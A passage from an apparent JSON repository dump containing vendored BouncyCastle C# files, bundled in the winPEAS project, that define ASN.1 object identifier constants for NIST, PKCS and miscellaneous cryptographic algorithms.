sm_scheme.Branch(\"521\");\n        public static readonly DerObjectIdentifier sm2sign_with_blake2s256 = sm_scheme.Branch(\"522\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/misc/MiscObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.misc\n{\n    public abstract class MiscObjectIdentifiers\n    {\n        //\n        // Netscape\n        //       iso/itu(2) joint-assign(16) us(840) uscompany(1) Netscape(113730) cert-extensions(1) }\n        //\n        public static readonly DerObjectIdentifier Netscape = new DerObjectIdentifier(\"2.16.840.1.113730.1\");\n        public static readonly DerObjectIdentifier NetscapeCertType = Netscape.Branch(\"1\");\n        public static readonly DerObjectIdentifier NetscapeBaseUrl = Netscape.Branch(\"2\");\n        public static readonly DerObjectIdentifier NetscapeRevocationUrl = Netscape.Branch(\"3\");\n        public static readonly DerObjectIdentifier NetscapeCARevocationUrl = Netscape.Branch(\"4\");\n        public static readonly DerObjectIdentifier NetscapeRenewalUrl = Netscape.Branch(\"7\");\n        public static readonly DerObjectIdentifier NetscapeCAPolicyUrl = Netscape.Branch(\"8\");\n        public static readonly DerObjectIdentifier NetscapeSslServerName = Netscape.Branch(\"12\");\n        public static readonly DerObjectIdentifier NetscapeCertComment = Netscape.Branch(\"13\");\n\n        //\n        // Verisign\n        //       iso/itu(2) joint-assign(16) us(840) uscompany(1) verisign(113733) cert-extensions(1) }\n        //\n        public static readonly DerObjectIdentifier Verisign = new DerObjectIdentifier(\"2.16.840.1.113733.1\");\n\n        //\n        // CZAG - country, zip, age, and gender\n        //\n        public static readonly DerObjectIdentifier VerisignCzagExtension = Verisign.Branch(\"6.3\");\n\n        public static readonly DerObjectIdentifier VerisignPrivate_6_9 = Verisign.Branch(\"6.9\");\n        public static readonly DerObjectIdentifier VerisignOnSiteJurisdictionHash = Verisign.Branch(\"6.11\");\n        public static readonly DerObjectIdentifier VerisignBitString_6_13 = Verisign.Branch(\"6.13\");\n\n        // D&B D-U-N-S number\n        public static readonly DerObjectIdentifier VerisignDnbDunsNumber = Verisign.Branch(\"6.15\");\n\n        public static readonly DerObjectIdentifier VerisignIssStrongCrypto = Verisign.Branch(\"8.1\");\n\n        //\n        // Novell\n        //       iso/itu(2) country(16) us(840) organization(1) novell(113719)\n        //\n        public static readonly string Novell = \"2.16.840.1.113719\";\n        public static readonly DerObjectIdentifier NovellSecurityAttribs = new DerObjectIdentifier(Novell + \".1.9.4.1\");\n\n        //\n        // Entrust\n        //       iso(1) member-body(16) us(840) nortelnetworks(113533) entrust(7)\n        //\n        public static readonly string Entrust = \"1.2.840.113533.7\";\n        public static readonly DerObjectIdentifier EntrustVersionExtension = new DerObjectIdentifier(Entrust + \".65.0\");\n\n        public static readonly DerObjectIdentifier cast5CBC = new DerObjectIdentifier(Entrust + \".66.10\");\n\n        //\n        // HMAC-SHA1       hMAC-SHA1 OBJECT IDENTIFIER ::= { iso(1) identified-organization(3)\n        //       dod(6) internet(1) security(5) mechanisms(5) 8 1 2 }\n        //\n        public static readonly DerObjectIdentifier HMAC_SHA1 = new DerObjectIdentifier(\"1.3.6.1.5.5.8.1.2\");\n\n        //\n        // Ascom\n        //\n        public static readonly DerObjectIdentifier as_sys_sec_alg_ideaCBC = new DerObjectIdentifier(\"1.3.6.1.4.1.188.7.1.1.2\");\n\n        //\n        // Peter Gutmann's Cryptlib\n        //\n        public static readonly DerObjectIdentifier cryptlib = new DerObjectIdentifier(\"1.3.6.1.4.1.3029\");\n\n        public static readonly DerObjectIdentifier cryptlib_algorithm = cryptlib.Branch(\"1\");\n        public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_ECB = cryptlib_algorithm.Branch(\"1.1\");\n        public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CBC = cryptlib_algorithm.Branch(\"1.2\");\n        public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_CFB = cryptlib_algorithm.Branch(\"1.3\");\n        public static readonly DerObjectIdentifier cryptlib_algorithm_blowfish_OFB = cryptlib_algorithm.Branch(\"1.4\");\n\n        //\n        // Blake2b\n        //\n        public static readonly DerObjectIdentifier blake2 = new DerObjectIdentifier(\"1.3.6.1.4.1.1722.12.2\");\n\n        public static readonly DerObjectIdentifier id_blake2b160 = blake2.Branch(\"1.5\");\n        public static readonly DerObjectIdentifier id_blake2b256 = blake2.Branch(\"1.8\");\n        public static readonly DerObjectIdentifier id_blake2b384 = blake2.Branch(\"1.12\");\n        public static readonly DerObjectIdentifier id_blake2b512 = blake2.Branch(\"1.16\");\n\n        public static readonly DerObjectIdentifier id_blake2s128 = blake2.Branch(\"2.4\");\n        public static readonly DerObjectIdentifier id_blake2s160 = blake2.Branch(\"2.5\");\n        public static readonly DerObjectIdentifier id_blake2s224 = blake2.Branch(\"2.7\");\n        public static readonly DerObjectIdentifier id_blake2s256 = blake2.Branch(\"2.8\");\n\n        //\n        // Scrypt\n        public static readonly DerObjectIdentifier id_scrypt = new DerObjectIdentifier(\"1.3.6.1.4.1.11591.4.11\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/nist/NistObjectIdentifiers.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1.nist\n{\n    public sealed class NistObjectIdentifiers\n    {\n        private NistObjectIdentifiers()\n        {\n        }\n\n        //\n        // NIST\n        //     iso/itu(2) joint-assign(16) us(840) organization(1) gov(101) csor(3)\n\n        //\n        // nistalgorithms(4)\n        //\n        public static readonly DerObjectIdentifier NistAlgorithm = new DerObjectIdentifier(\"2.16.840.1.101.3.4\");\n\n        public static readonly DerObjectIdentifier HashAlgs = NistAlgorithm.Branch(\"2\");\n\n        public static readonly DerObjectIdentifier IdSha256 = HashAlgs.Branch(\"1\");\n        public static readonly DerObjectIdentifier IdSha384 = HashAlgs.Branch(\"2\");\n        public static readonly DerObjectIdentifier IdSha512 = HashAlgs.Branch(\"3\");\n        public static readonly DerObjectIdentifier IdSha224 = HashAlgs.Branch(\"4\");\n        public static readonly DerObjectIdentifier IdSha512_224 = HashAlgs.Branch(\"5\");\n        public static readonly DerObjectIdentifier IdSha512_256 = HashAlgs.Branch(\"6\");\n        public static readonly DerObjectIdentifier IdSha3_224 = HashAlgs.Branch(\"7\");\n        public static readonly DerObjectIdentifier IdSha3_256 = HashAlgs.Branch(\"8\");\n        public static readonly DerObjectIdentifier IdSha3_384 = HashAlgs.Branch(\"9\");\n        public static readonly DerObjectIdentifier IdSha3_512 = HashAlgs.Branch(\"10\");\n        public static readonly DerObjectIdentifier IdShake128 = HashAlgs.Branch(\"11\");\n        public static readonly DerObjectIdentifier IdShake256 = HashAlgs.Branch(\"12\");\n        public static readonly DerObjectIdentifier IdHMacWithSha3_224 = HashAlgs.Branch(\"13\");\n        public static readonly DerObjectIdentifier IdHMacWithSha3_256 = HashAlgs.Branch(\"14\");\n        public static readonly DerObjectIdentifier IdHMacWithSha3_384 = HashAlgs.Branch(\"15\");\n        public static readonly DerObjectIdentifier IdHMacWithSha3_512 = HashAlgs.Branch(\"16\");\n        public static readonly DerObjectIdentifier IdShake128Len = HashAlgs.Branch(\"17\");\n        public static readonly DerObjectIdentifier IdShake256Len = HashAlgs.Branch(\"18\");\n        public static readonly DerObjectIdentifier IdKmacWithShake128 = HashAlgs.Branch(\"19\");\n        public static readonly DerObjectIdentifier IdKmacWithShake256 = HashAlgs.Branch(\"20\");\n\n        public static readonly DerObjectIdentifier Aes = new DerObjectIdentifier(NistAlgorithm + \".1\");\n\n        public static readonly DerObjectIdentifier IdAes128Ecb = new DerObjectIdentifier(Aes + \".1\");\n        public static readonly DerObjectIdentifier IdAes128Cbc = new DerObjectIdentifier(Aes + \".2\");\n        public static readonly DerObjectIdentifier IdAes128Ofb = new DerObjectIdentifier(Aes + \".3\");\n        public static readonly DerObjectIdentifier IdAes128Cfb = new DerObjectIdentifier(Aes + \".4\");\n        public static readonly DerObjectIdentifier IdAes128Wrap = new DerObjectIdentifier(Aes + \".5\");\n        public static readonly DerObjectIdentifier IdAes128Gcm = new DerObjectIdentifier(Aes + \".6\");\n        public static readonly DerObjectIdentifier IdAes128Ccm = new DerObjectIdentifier(Aes + \".7\");\n\n        public static readonly DerObjectIdentifier IdAes192Ecb = new DerObjectIdentifier(Aes + \".21\");\n        public static readonly DerObjectIdentifier IdAes192Cbc = new DerObjectIdentifier(Aes + \".22\");\n        public static readonly DerObjectIdentifier IdAes192Ofb = new DerObjectIdentifier(Aes + \".23\");\n        public static readonly DerObjectIdentifier IdAes192Cfb = new DerObjectIdentifier(Aes + \".24\");\n        public static readonly DerObjectIdentifier IdAes192Wrap = new DerObjectIdentifier(Aes + \".25\");\n        public static readonly DerObjectIdentifier IdAes192Gcm = new DerObjectIdentifier(Aes + \".26\");\n        public static readonly DerObjectIdentifier IdAes192Ccm = new DerObjectIdentifier(Aes + \".27\");\n\n        public static readonly DerObjectIdentifier IdAes256Ecb = new DerObjectIdentifier(Aes + \".41\");\n        public static readonly DerObjectIdentifier IdAes256Cbc = new DerObjectIdentifier(Aes + \".42\");\n        public static readonly DerObjectIdentifier IdAes256Ofb = new DerObjectIdentifier(Aes + \".43\");\n        public static readonly DerObjectIdentifier IdAes256Cfb = new DerObjectIdentifier(Aes + \".44\");\n        public static readonly DerObjectIdentifier IdAes256Wrap = new DerObjectIdentifier(Aes + \".45\");\n        public static readonly DerObjectIdentifier IdAes256Gcm = new DerObjectIdentifier(Aes + \".46\");\n        public static readonly DerObjectIdentifier IdAes256Ccm = new DerObjectIdentifier(Aes + \".47\");\n\n        //\n        // signatures\n        //\n        public static readonly DerObjectIdentifier IdDsaWithSha2 = new DerObjectIdentifier(NistAlgorithm + \".3\");\n\n        public static readonly DerObjectIdentifier DsaWithSha224 = new DerObjectIdentifier(IdDsaWithSha2 + \".1\");\n        public static readonly DerObjectIdentifier DsaWithSha256 = new DerObjectIdentifier(IdDsaWithSha2 + \".2\");\n        public static readonly DerObjectIdentifier DsaWithSha384 = new DerObjectIdentifier(IdDsaWithSha2 + \".3\");\n        public static readonly DerObjectIdentifier DsaWithSha512 = new DerObjectIdentifier(IdDsaWithSha2 + \".4\");\n\n        /** 2.16.840.1.101.3.4.3.5 */\n        public static readonly DerObjectIdentifier IdDsaWithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + \".5\");\n        /** 2.16.840.1.101.3.4.3.6 */\n        public static readonly DerObjectIdentifier IdDsaWithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + \".6\");\n        /** 2.16.840.1.101.3.4.3.7 */\n        public static readonly DerObjectIdentifier IdDsaWithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + \".7\");\n        /** 2.16.840.1.101.3.4.3.8 */\n        public static readonly DerObjectIdentifier IdDsaWithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + \".8\");\n\n        // ECDSA with SHA-3\n        /** 2.16.840.1.101.3.4.3.9 */\n        public static readonly DerObjectIdentifier IdEcdsaWithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + \".9\");\n        /** 2.16.840.1.101.3.4.3.10 */\n        public static readonly DerObjectIdentifier IdEcdsaWithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + \".10\");\n        /** 2.16.840.1.101.3.4.3.11 */\n        public static readonly DerObjectIdentifier IdEcdsaWithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + \".11\");\n        /** 2.16.840.1.101.3.4.3.12 */\n        public static readonly DerObjectIdentifier IdEcdsaWithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + \".12\");\n\n        // RSA PKCS #1 v1.5 Signature with SHA-3 family.\n        /** 2.16.840.1.101.3.4.3.9 */\n        public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_224 = new DerObjectIdentifier(IdDsaWithSha2 + \".13\");\n        /** 2.16.840.1.101.3.4.3.10 */\n        public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_256 = new DerObjectIdentifier(IdDsaWithSha2 + \".14\");\n        /** 2.16.840.1.101.3.4.3.11 */\n        public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_384 = new DerObjectIdentifier(IdDsaWithSha2 + \".15\");\n        /** 2.16.840.1.101.3.4.3.12 */\n        public static readonly DerObjectIdentifier IdRsassaPkcs1V15WithSha3_512 = new DerObjectIdentifier(IdDsaWithSha2 + \".16\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/pkcs/PkcsObjectIdentifiers.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1.pkcs\n{\n    public abstract class PkcsObjectIdentifiers\n    {\n        //\n        // pkcs-1 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 1 }\n        //\n        public const string Pkcs1 = \"1.2.840.113549.1.1\";\n        internal static readonly DerObjectIdentifier Pkcs1Oid = new DerObjectIdentifier(Pkcs1);\n\n        public static readonly DerObjectIdentifier RsaEncryption = Pkcs1Oid.Branch(\"1\");\n        public static readonly DerObjectIdentifier MD2WithRsaEncryption = Pkcs1Oid.Branch(\"2\");\n        public static readonly DerObjectIdentifier MD4WithRsaEncryption = Pkcs1Oid.Branch(\"3\");\n        public static readonly DerObjectIdentifier MD5WithRsaEncryption = Pkcs1Oid.Branch(\"4\");\n        public static readonly DerObjectIdentifier Sha1WithRsaEncryption = Pkcs1Oid.Branch(\"5\");\n        public static readonly DerObjectIdentifier SrsaOaepEncryptionSet = Pkcs1Oid.Branch(\"6\");\n        public static readonly DerObjectIdentifier IdRsaesOaep = Pkcs1Oid.Branch(\"7\");\n        public static readonly DerObjectIdentifier IdMgf1 = Pkcs1Oid.Branch(\"8\");\n        public static readonly DerObjectIdentifier IdPSpecified = Pkcs1Oid.Branch(\"9\");\n        public static readonly DerObjectIdentifier IdRsassaPss = Pkcs1Oid.Branch(\"10\");\n        public static readonly DerObjectIdentifier Sha256WithRsaEncryption = Pkcs1Oid.Branch(\"11\");\n        public static readonly DerObjectIdentifier Sha384WithRsaEncryption = Pkcs1Oid.Branch(\"12\");\n        public static readonly DerObjectIdentifier Sha512WithRsaEncryption = Pkcs1Oid.Branch(\"13\");\n        public static readonly DerObjectIdentifier Sha224WithRsaEncryption = Pkcs1Oid.Branch(\"14\");\n        /** PKCS#1: 1.2.840.113549.1.1.15 */\n        public static readonly DerObjectIdentifier Sha512_224WithRSAEncryption = Pkcs1Oid.Branch(\"15\");\n        /** PKCS#1: 1.2.840.113549.1.1.16 */\n        public static readonly DerObjectIdentifier Sha512_256WithRSAEncryption = Pkcs1Oid.Branch(\"16\");\n\n        //\n        // pkcs-3 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 3 }\n        //\n        public const string Pkcs3 = \"1.2.840.113549.1.3\";\n\n        public static readonly DerObjectIdentifier DhKeyAgreement = new DerObjectIdentifier(Pkcs3 + \".1\");\n\n        //\n        // pkcs-5 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 5 }\n        //\n        public const string Pkcs5 = \"1.2.840.113549.1.5\";\n\n        public static readonly DerObjectIdentifier PbeWithMD2AndDesCbc = new DerObjectIdentifier(Pkcs5 + \".1\");\n        public static readonly DerObjectIdentifier PbeWithMD2AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + \".4\");\n        public static readonly DerObjectIdentifier PbeWithMD5AndDesCbc = new DerObjectIdentifier(Pkcs5 + \".3\");\n        public static readonly DerObjectIdentifier PbeWithMD5AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + \".6\");\n        public static readonly DerObjectIdentifier PbeWithSha1AndDesCbc = new DerObjectIdentifier(Pkcs5 + \".10\");\n        public static readonly DerObjectIdentifier PbeWithSha1AndRC2Cbc = new DerObjectIdentifier(Pkcs5 + \".11\");\n\n        public static readonly DerObjectIdentifier IdPbeS2 = new DerObjectIdentifier(Pkcs5 + \".13\");\n        public static readonly DerObjectIdentifier IdPbkdf2 = new DerObjectIdentifier(Pkcs5 + \".12\");\n\n        //\n        // encryptionAlgorithm OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) 3 }\n        //\n        public const string EncryptionAlgorithm = \"1.2.840.113549.3\";\n\n        public static readonly DerObjectIdentifier DesEde3Cbc = new DerObjectIdentifier(EncryptionAlgorithm + \".7\");\n        public static readonly DerObjectIdentifier RC2Cbc = new DerObjectIdentifier(EncryptionAlgorithm + \".2\");\n        public static readonly DerObjectIdentifier rc4 = new DerObjectIdentifier(EncryptionAlgorithm + \".4\");\n\n        //\n        // object identifiers for digests\n        //\n        public const string DigestAlgorithm = \"1.2.840.113549.2\";\n\n        //\n        // md2 OBJECT IDENTIFIER ::=\n        //      {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 2}\n        //\n        public static readonly DerObjectIdentifier MD2 = new DerObjectIdentifier(DigestAlgorithm + \".2\");\n\n        //\n        // md4 OBJECT IDENTIFIER ::=\n        //      {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 4}\n        //\n        public static readonly DerObjectIdentifier MD4 = new DerObjectIdentifier(DigestAlgorithm + \".4\");\n\n        //\n        // md5 OBJECT IDENTIFIER ::=\n        //      {iso(1) member-body(2) US(840) rsadsi(113549) DigestAlgorithm(2) 5}\n        //\n        public static readonly DerObjectIdentifier MD5 = new DerObjectIdentifier(DigestAlgorithm + \".5\");\n\n        public static readonly DerObjectIdentifier IdHmacWithSha1 = new DerObjectIdentifier(DigestAlgorithm + \".7\");\n        public static readonly DerObjectIdentifier IdHmacWithSha224 = new DerObjectIdentifier(DigestAlgorithm + \".8\");\n        public static readonly DerObjectIdentifier IdHmacWithSha256 = new DerObjectIdentifier(DigestAlgorithm + \".9\");\n        public static readonly DerObjectIdentifier IdHmacWithSha384 = new DerObjectIdentifier(DigestAlgorithm + \".10\");\n        public static readonly DerObjectIdentifier IdHmacWithSha512 = new DerObjectIdentifier(DigestAlgorithm + \".11\");\n\n        //\n        // pkcs-7 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 7 }\n        //\n        public const string Pkcs7 = \"1.2.840.113549.1.7\";\n\n        public static readonly DerObjectIdentifier Data = new DerObjectIdentifier(Pkcs7 + \".1\");\n        public static readonly DerObjectIdentifier SignedData = new DerObjectIdentifier(Pkcs7 + \".2\");\n        public static readonly DerObjectIdentifier EnvelopedData = new DerObjectIdentifier(Pkcs7 + \".3\");\n        public static readonly DerObjectIdentifier SignedAndEnvelopedData = new DerObjectIdentifier(Pkcs7 + \".4\");\n        public static readonly DerObjectIdentifier DigestedData = new DerObjectIdentifier(Pkcs7 + \".5\");\n        public static readonly DerObjectIdentifier EncryptedData = new DerObjectIdentifier(Pkcs7 + \".6\");\n\n        //\n        // pkcs-9 OBJECT IDENTIFIER ::= {\n        //       iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 9 }\n        //\n        public const string Pkcs9 = \"1.2.840.113549.1.9\";\n\n        public static readonly DerObjectIdentifier Pkcs9AtEmailAddress = new DerObjectIdentifier(Pkcs9 + \".1\");\n        public static readonly DerObjectIdentifier Pkcs9AtUnstructuredName = new DerObjectIdentifier(Pkcs9 + \".2\");\n        public static readonly DerObjectIdentifier Pkcs9AtContentType = new DerObjectIdentifier(Pkcs9 + \".3\");\n        public static readonly DerObjectIdentifier Pkcs9AtMessageDigest = new DerObjectIdentifier(Pkcs9 + \".4\");\n        public static readonly DerObjectIdentifier Pkcs9AtSigningTime = new DerObjectIdentifier(Pkcs9 + \".5\");\n        public static readonly DerObjectIdentifier Pkcs9AtCounterSignature = new DerObjectIdentifier(Pkcs9 + \".6\");\n        public static readonly DerObjectIdentifier Pkcs9AtChallengePassword = new DerObjectIdentifier(Pkcs9 + \".7\");\n        public static readonly DerObjectIdentifier Pkcs9AtUnstructuredAddress = new DerObjectIdentifier(Pkcs9 + \".8\");\n        public static readonly DerObjectIdentifier Pkcs9AtExtendedCertificateAttributes = new DerObjectIdentifier(Pkcs9 + \".9\");\n        public static readonly DerObjectIdentifier Pkcs9AtSigningDescription = new DerObjectIdentifier(Pkcs9 + \".13\");\n        public static readonly DerObjectIdentifier Pkcs9AtExtensionRequest = new DerObjectIdentifier(Pkcs9 + \".14\");\n        public static readonly DerObjectIdentifier Pkcs9AtSmimeCapabilities = new DerObjectIdentifier(Pkcs9 + \".15\");\n        public static readonly DerObjectIdentifier IdSmime = new DerObjectIdentifier(Pkcs9 + \".16\");\n\n        public static readonly DerObjectIdentifier Pkcs9AtFriendlyName = new DerObjectIdentifier(Pkcs9 + \".20\");\n        public static readonly DerObjectIdentifier Pkcs9AtLocalKeyID = new DerObjectIdentifier(Pkcs9 + \".21\");\n\n        [Obsolete(\"Use X509Certificate instead\")]\n        public static readonly DerObjectIdentifier X509CertType = new DerObjectIdentifier(Pkcs9 + \".22.1\");\n\n        public const string CertTypes = Pkcs9 + \".22\";\n        public static readonly DerObjectIdentifier X509Certificate = new DerObjectIdentifier(CertTypes + \".1\");\n        public static readonly DerObjectIdentifier SdsiCertificate = new DerObjectIdentifier(CertTypes + \".2\");\n\n        public const string CrlTypes = Pkcs9 + \".23\";\n        public static readonly DerObjectIdentifier X509Crl = new DerObjectIdentifier(CrlTypes + \".1\");\n\n        public static readonly DerObjectIdentifier IdAlg = IdSmime.Branch(\"3\");\n\n        public static readonly DerObjectIdentifier IdAlgEsdh = IdAlg.Branch(\"5\");\n        public static readonly DerObjectIdentifier IdAlgCms3DesWrap = IdAlg.Branch(\"6\");\n        public static readonly DerObjectIdentifier IdAlgCmsRC2Wrap = IdAlg.Branch(\"7\");\n        public static readonly DerObjectIdentifier IdAlgPwriKek = IdAlg.Branch(\"9\");\n        public static readonly DerObjectIdentifier IdAlgSsdh = IdAlg.Branch(\"10\");\n\n        /*\n         * <pre>\n         * -- RSA-KEM Key Transport Algorithm\n         *\n         * id-rsa-kem OID ::= {\n         *      iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)\n         *      pkcs-9(9) smime(16) alg(3) 14\n         *   }\n         * </pre>\n         */\n        public static readonly DerObjectIdentifier IdRsaKem = IdAlg.Branch(\"14\");\n\n        /**\n         * <pre>\n         * id-alg-AEADChaCha20Poly1305 OBJECT IDENTIFIER ::=\n         * { iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1)\n         *    pkcs9(9) smime(16) alg(3) 18 }\n         *\n         * AEADChaCha20Poly1305Nonce ::= OCTET STRING (SIZE(12))\n         * </pre>\n         */\n        public static readonly DerObjectIdentifier IdAlgAeadChaCha20Poly1305 = IdAlg.Branch(\"18\");\n\n        //\n        // SMIME capability sub oids.\n        //\n        public static readonly DerObjectIdentifier PreferSignedData = Pkcs9AtSmimeCapabilities.Branch(\"1\");\n        public static readonly DerObjectIdentifier CannotDecryptAny = Pkcs9AtSmimeCapabilities.Branch(\"2\");\n        public static readonly DerObjectIdentifier SmimeCapabilitiesVersions = Pkcs9AtSmimeCapabilities.Branch(\"3\");\n\n        //\n        // other SMIME attributes\n        //\n        public static readonly DerObjectIdentifier IdAAReceiptRequest = IdSmime.Branch(\"2.1\");\n\n        //\n        // id-ct OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840)\n        // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) ct(1)}\n        //\n        public const string IdCT = \"1.2.840.113549.1.9.16.1\";\n\n        public static readonly DerObjectIdentifier IdCTAuthData = new DerObjectIdentifier(IdCT + \".2\");\n        public static readonly DerObjectIdentifier IdCTTstInfo = new DerObjectIdentifier(IdCT + \".4\");\n        public static readonly DerObjectIdentifier IdCTCompressedData = new DerObjectIdentifier(IdCT + \".9\");\n        public static readonly DerObjectIdentifier IdCTAuthEnvelopedData = new DerObjectIdentifier(IdCT + \".23\");\n        public static readonly DerObjectIdentifier IdCTTimestampedData = new DerObjectIdentifier(IdCT + \".31\");\n\n        //\n        // id-cti OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840)\n        // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) cti(6)}\n        //\n        public const string IdCti = \"1.2.840.113549.1.9.16.6\";\n\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfOrigin = new DerObjectIdentifier(IdCti + \".1\");\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfReceipt = new DerObjectIdentifier(IdCti + \".2\");\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfDelivery = new DerObjectIdentifier(IdCti + \".3\");\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfSender = new DerObjectIdentifier(IdCti + \".4\");\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfApproval = new DerObjectIdentifier(IdCti + \".5\");\n        public static readonly DerObjectIdentifier IdCtiEtsProofOfCreation = new DerObjectIdentifier(IdCti + \".6\");\n\n        //\n        // id-aa OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840)\n        // rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) attributes(2)}\n        //\n        public const string IdAA = \"1.2.840.113549.1.9.16.2\";\n        public static readonly DerObjectIdentifier IdAAOid = new DerObjectIdentifier(IdAA);\n\n        public static readonly DerObjectIdentifier IdAAContentHint = new DerObjectIdentifier(IdAA + \".4\"); // See RFC 2634\n        public static readonly DerObjectIdentifier IdAAMsgSigDigest = new DerObjectIdentifier(IdAA + \".5\");\n        public static readonly DerObjectIdentifier IdAAContentReference = new DerObjectIdentifier(IdAA + \".10\");\n\n        /*\n        * id-aa-encrypKeyPref OBJECT IDENTIFIER ::= {id-aa 11}\n        *\n        */\n        public static readonly DerObjectIdentifier IdAAEncrypKeyPref = new DerObjectIdentifier(IdAA + \".11\");\n        public static readonly DerObjectIdentifier IdAASigningCertificate = new DerObjectIdentifier(IdAA + \".12\");\n        public static readonly DerObjectIdentifier IdAASigningCertificateV2 = new DerObjectIdentifier(IdAA + \".47\");\n\n        public static readonly DerObjectIdentifier IdAAContentIdentifier = new DerObjectIdentifier(IdAA + \".7\"); // See RFC 2634\n\n        /*\n\t\t * RFC 3126\n\t\t */\n        public static readonly DerObjectIdentifier IdAASignatureTimeStampToken = new DerObjectIdentifier(IdAA + \".14\");\n\n        public static readonly DerObjectIdentifier IdAAEtsSigPolicyID = new DerObjectIdentifier(IdAA + \".15\");\n        public static readonly DerObjectIdentifier IdAAEtsCommitmentType = new DerObjectIdentifier(IdAA + \".16\");\n        public static readonly DerObjectIdentifier IdAAEtsSignerLocation = new DerObjectIdentifier(IdAA + \".17\");\n        public static readonly DerObjectIdentifier IdAAEtsSignerAttr = new DerObjectIdentifier(IdAA + \".18\");\n        public static readonly DerObjectIdentifier IdAAEtsOtherSigCert = new DerObjectIdentifier(IdAA + \".19\");\n        public static readonly DerObjectIdentifier IdAAEtsContentTimestamp = new DerObjectIdentifier(IdAA + \".20\");\n        public static readonly DerObjectIdentifier IdAAEtsCertificateRefs = new DerObjectIdentifier(IdAA + \".21\");\n        public static readonly DerObjectIdentifier IdAAEtsRevocationRefs = new DerObjectIdentifier(IdAA + \".22\");\n        public static readonly DerObjectIdentifier IdAAEtsCertValues = new DerObjectIdentifier(IdAA + \".23\");\n        public static readonly DerObjectIdentifier IdAAEtsRevocationValues = new DerObjectIdentifier(IdAA + \".24\");\n        public static readonly DerObjectIdentifier IdAAEtsEscTimeStamp = new DerObjectIdentifier(IdAA + \".25\");\n        public static readonly DerObjectIdentifier IdAAEtsCertCrlTimestamp = new DerObjectIdentifier(IdAA + \".26\");\n        public static readonly DerObjectIdentifier IdAAEtsArchiveTimestamp = new DerObjectIdentifier(IdAA + \".27\");\n\n        /** PKCS#9: 1.2.840.113549.1.9.16.2.37 - <a href=\"https://tools.ietf.org/html/rfc4108#section-2.2.5\">RFC 4108</a> */\n        public static readonly DerObjectIdentifier IdAADecryptKeyID = IdAAOid.Branch(\"37\");\n\n        /** PKCS#9: 1.2.840.113549.1.9.16.2.38 - <a href=\"https://tools.ietf.org/html/rfc4108#section-2.2.6\">RFC 4108</a> */\n        public static readonly DerObjectIdentifier IdAAImplCryptoAlgs = IdAAOid.Branch(\"38\");\n\n        /** PKCS#9: 1.2.840.113549.1.9.16.2.54 <a href=\"https://tools.ietf.org/html/rfc7030\">RFC7030</a>*/\n        public static readonly DerObjectIdentifier IdAAAsymmDecryptKeyID = IdAAOid.Branch(\"54\");\n\n        /** PKCS#9: 1.2.840.113549.1.9.16.2.43   <a href=\"https://tools.ietf.org/html/rfc7030\">RFC7030</a>*/\n        public static readonly DerObjectIdentifier IdAAImplCompressAlgs = IdAAOid.Branch(\"43\");\n        /** PKCS#9: 1.2.840.113549.1.9.16.2.40   <a href=\"https://tools.ietf.org/html/rfc7030\">RFC7030</a>*/\n        public static readonly DerObjectIdentifier IdAACommunityIdentifiers = IdAAOid.Branch(\"40\");\n\n        [Obsolete(\"Use 'IdAAEtsSigPolicyID' instead\")]\n        public static readonly DerObjectIdentifier IdAASigPolicyID = IdAAEtsSigPolicyID;\n        [Obsolete(\"Use 'IdAAEtsCommitmentType' instead\")]\n        public static readonly DerObjectIdentifier IdAACommitmentType = IdAAEtsCommitmentType;\n        [Obsolete(\"Use 'IdAAEtsSignerLocation' instead\")]\n        public static readonly DerObjectIdentifier IdAASignerLocation = IdAAEtsSignerLocation;\n        [Obsolete(\"Use 'IdAAEtsOtherSigCert' instead\")]\n        public static readonly DerObjectIdentifier IdAAOtherSigCert = IdAAEtsOtherSigCert;\n\n        //\n        // id-spq OBJECT IDENTIFIER 